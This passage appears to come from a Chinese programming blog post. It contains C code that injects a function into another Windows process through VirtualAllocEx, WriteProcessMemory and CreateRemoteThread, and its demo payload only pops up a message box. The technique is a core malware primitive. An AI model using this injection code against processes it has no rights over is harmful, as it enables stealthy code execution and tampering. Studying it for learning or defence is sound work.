    MyGetModuleFileName = (DWORD(__stdcall*)(HMODULE, LPTSTR, DWORD))
        pData->dwGetModuleFileName;

    // 加载 User32.dll
    HMODULE hModule = MyLoadLibrary(pData->User32Dll);

    // 获得 MessageBoxA 函数的地址
    MyMessageBox = (int(__stdcall*)(HWND, LPCTSTR, LPCTSTR, UINT))
        MyGetProcAddress(hModule, pData->MessageBox);

    char szModuleFileName[MAX_PATH] = { 0 };
    MyGetModuleFileName(NULL, szModuleFileName, MAX_PATH);

    MyMessageBox(NULL, pData->Str, szModuleFileName, MB_OK);

    return 0;
}



VOID InjectCode(DWORD dwPid)
{
    // 打开进程并获取进程句柄
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (hProcess == NULL)
    {
        return;
    }

    DATA Data = { 0 };

    // 获取kernel32.dll中相关的导出函数
    Data.dwLoadLibrary = (DWORD)GetProcAddress(
        GetModuleHandle("kernel32.dll"),
        "LoadLibraryA");
    Data.dwGetProcAddress = (DWORD)GetProcAddress(
        GetModuleHandle("kernel32.dll"),
        "GetProcAddress");
    Data.dwGetModuleHandle = (DWORD)GetProcAddress(
        GetModuleHandle("kernel32.dll"),
        "GetModuleHandleA");
    Data.dwGetModuleFileName = (DWORD)GetProcAddress(
        GetModuleHandle("kernel32.dll"),
        "GetModuleFileNameA");

    // 需要的其他DLL和导出函数
    lstrcpy(Data.User32Dll, "user32.dll");
    lstrcpy(Data.MessageBox, "MessageBoxA");
    // MessageBoxA()弹出的字符串
    lstrcpy(Data.Str, "Inject Code !!!");

    // 在目标进程申请空间
    LPVOID lpData = VirtualAllocEx(hProcess, 
        NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // 将数据结构 DATA 写入内存
    DWORD dwWriteNum = 0;
    WriteProcessMemory(hProcess, lpData, &Data, sizeof(Data), &dwWriteNum);

    // 在目标进程空间申请的用于保存代码的长度
    DWORD dwFunSize = 0x1000;
    LPVOID lpCode = VirtualAllocEx(hProcess, NULL, dwFunSize,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);

    // 将线程运行时的函数写入内存
    BOOL bRet = WriteProcessMemory(hProcess, lpCode, &RemoteThreadProc, dwFunSize, &dwWriteNum);
    if (bRet == FALSE)
    {
        int n = GetLastError();
    }

    // 创建远程线程
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)lpCode,
        lpData, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);

    CloseHandle(hThread);
    CloseHandle(hProcess);
}

 

posted @ 2022-08-08 22:58  某某人8265  阅读(171)  评论(0编辑  收藏  举报